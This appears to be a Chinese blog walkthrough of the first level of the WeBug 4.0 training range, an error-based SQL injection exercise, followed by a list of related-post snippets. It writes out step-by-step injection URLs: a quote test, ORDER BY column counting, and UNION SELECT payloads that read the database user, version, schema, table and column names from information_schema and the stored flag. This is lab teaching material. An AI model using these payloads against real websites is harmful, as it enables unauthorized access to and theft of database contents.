感谢webug团队一直以来的更新维护!

webug是什么

WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

Webug官网:http://www.webug.org

Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy

来源:226安全团队

微信号:safeteam226

开始打靶

观察

这关的标题是显错注入,让我们先看下界面

看到id=1的话,让我们打开id=2,id=3观察下

id=2:

id=3:

通过对比以上三张图,我们可以得到两个结论:

1、红框部分是根据ID不同得到的不同搜索结果

2、猜测,如果搜索不到则那个位置没有结果,如id=3

综合以上,找到注入点的话首先考虑id=3(或其他)+union的方式

寻找注入点

报错注入的话,id=1,猜测下SQL语句是:

select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

接下来挨个试试单引号、双引号、括号以及他们的相互组合:

url?id=1),括号无反应,看来是屏蔽了

url?id=1",双引号无反应

url?id=1'有结果

正式找到报错注入点了,接下来根据上面的结论让我们构造下url看看有多少列,知道了多少列才方便用union

(mysql有三种注释方法,1、# ... 2、-- ... 3、/.../,%23是#的url表示)

url:id=3' order by 1 %23,正常

url:id=3' order by 10 %23,错误

url:id=3' order by 5 %23,错误

url:id=3' order by 3 %23,错误

url:id=3' order by 2 %23,正常

用二分法最后测到查询结果为两列,接下来让我们看看我们想要的数据在第几列

url:id=3' union select 1,2 %23

在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了

比如用户名

url:id=3' union select 1,user() %23

比如操作系统名

url:id=3' union select 1,@@version_compile_os %23

2019/3/12:补充实现gif

2019/5/17:增加查询Flag

感谢@qingfengmengge的提醒,我之前一直以为那个提交Flag是吐槽用的呢 - -。好吧,接下来让我们来找Flag。

1、确认mysql版本

url:id=3' union select 1,version() %23

版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息

2、确认mysql有哪些数据库

由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。

SELECT NAME FROM USER;

SELECT GROUP_CONCAT(NAME) FROM USER;

好了,接下来让我们看看都有哪些数据库吧。

url:id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行

3、确认当前查询的数据库

url:id=3' UNION SELECT 1,DATABASE() %23

注:SCHEMA()也能查当前使用的数据库

4、确认当前数据库下面的表

由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧

url:id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

我们看见了有flag表,那么里面的内容是不是就是我们需要的呢?

5、确认flag表的字段

url:id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23

有id和flag字段,让我们查查有哪些id和flag吧

6、确认flag表的内容

url:id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

id只有一个1

那就看看flag字段的值是什么吧

url:id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23

7、输入flag

成功!

webug 4.0 第一关 显错注入相关推荐

  1. Webug靶场之旅——显错注入

    显错注入 显错注入是SQL注入的一种,而SQL注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作. SQL注入漏洞产生的条件: 1.用户能够控 ...

  2. sql显错注入靶机演示

    sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...

  3. MYSQL注入-显错注入

    MYSQL注入-显错注入 原理:将插入的数据当作数据库代码执行. 1.首先我们看到页面要判断是否存在注入 2.用 and 1=1 无变化 ; and 1=2 发现有变化,说明可能存在注入 3.对字段进 ...

  4. webug 4.0 第二关 布尔注入

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  5. 网络安全之webug显错注入实战

    一.实验所需函数 1. concat(str1,str2,...)返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL 2. concat_ws(separato ...

  6. webug 4.0 第九关 反射型xss

    感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...

  7. 什么是mysql显错注入_十种MYSQL显错注入原理讲解(三)

    这回间隔时间有点长了,年前年后忙的头晕眼花,外加大病.下面我继续讲解. 1.multipolygon() select * from test where id=1 and multipolygon( ...

  8. mysql跨年统计年前年后_十种MYSQL显错注入原理讲解(三)

    这回间隔时间有点长了,年前年后忙的头晕眼花,外加大病.下面我继续讲解. 1.multipolygon() select * from test where id=1 and multipolygon( ...

  9. webug————显错注入

    1.打开靶场,寻找注入点进行测试 id=1 2.输入':":),进行判断查看是否报错 输入":)页面无变化,'出现报错,说明存在SQL注入 3.注入流程 :寻找注入点->构造 ...

最新文章

  1. jQuery中增加新元素后没法响应原有的事件
  2. 粒子滤波 演示与opencv代码
  3. 【国内首家!】阿里云专有云通过商用密码应用安全性评估
  4. Python操作mySql数据库封装类
  5. C/C++基础知识10道题,你都会吗?
  6. 如何合并mysql中的行_如何在MySQL中合并行?
  7. 【个人笔记】OpenCV4 C++ 快速入门 14课
  8. 一分钟理解handler机制
  9. malloc 初始化_glibc: malloc、calloc、realloc amp; free
  10. 宇宙最全的架构开发技术百科全书
  11. 【我的Android进阶之旅】Realm数据库学习资料汇总(持续更新)
  12. 数字图像处理与分析(matlab实现)——实现空域线性及非线性低通平滑滤波
  13. win10 计算机右键管理,win10系统右键菜单管理的步骤介绍
  14. 串行口实验 编写程序利用串口调试助手通过串口给实验板发送数据(数据范围0x00-0xfe),单片机将接受到的数据加1后再发送给PC机。
  15. 利用SPSS进行多重线性回归分析-基础篇
  16. 利用重力加速度传感器,获取芯片相对水平位置的角度
  17. 输入一个自然数N,要求输出如下的魔方阵,即边长为N*N,元素取值为1至N*N,1在左上角,呈顺时针方向依次放置各元素。
  18. 3D人体姿态估评估指标
  19. 金融直播APP方案开发
  20. 手机游戏服务器都是什么协议,手机网游的服务器架构

热门文章

  1. 【408】计算机统考科目知识整理
  2. centOS命令之ln
  3. 10074---深入理解Java中的final关键字
  4. 聊一聊 MySQL 中的事务及其实现原理
  5. 【金猿产品展】亚信科技“数据探索分析平台”——深挖数据价值,助客户高效管理和经营生产...
  6. 数据结构 笔记:图的遍历(DFS)
  7. 【Python数据分析及可视化】美国犯罪监禁数据分析与可视化
  8. [转]Berkeley DB实现分析
  9. 从一路赞美到嘘声不断 90后创业热潮已宣告死亡
  10. 小米测试面试经验20121105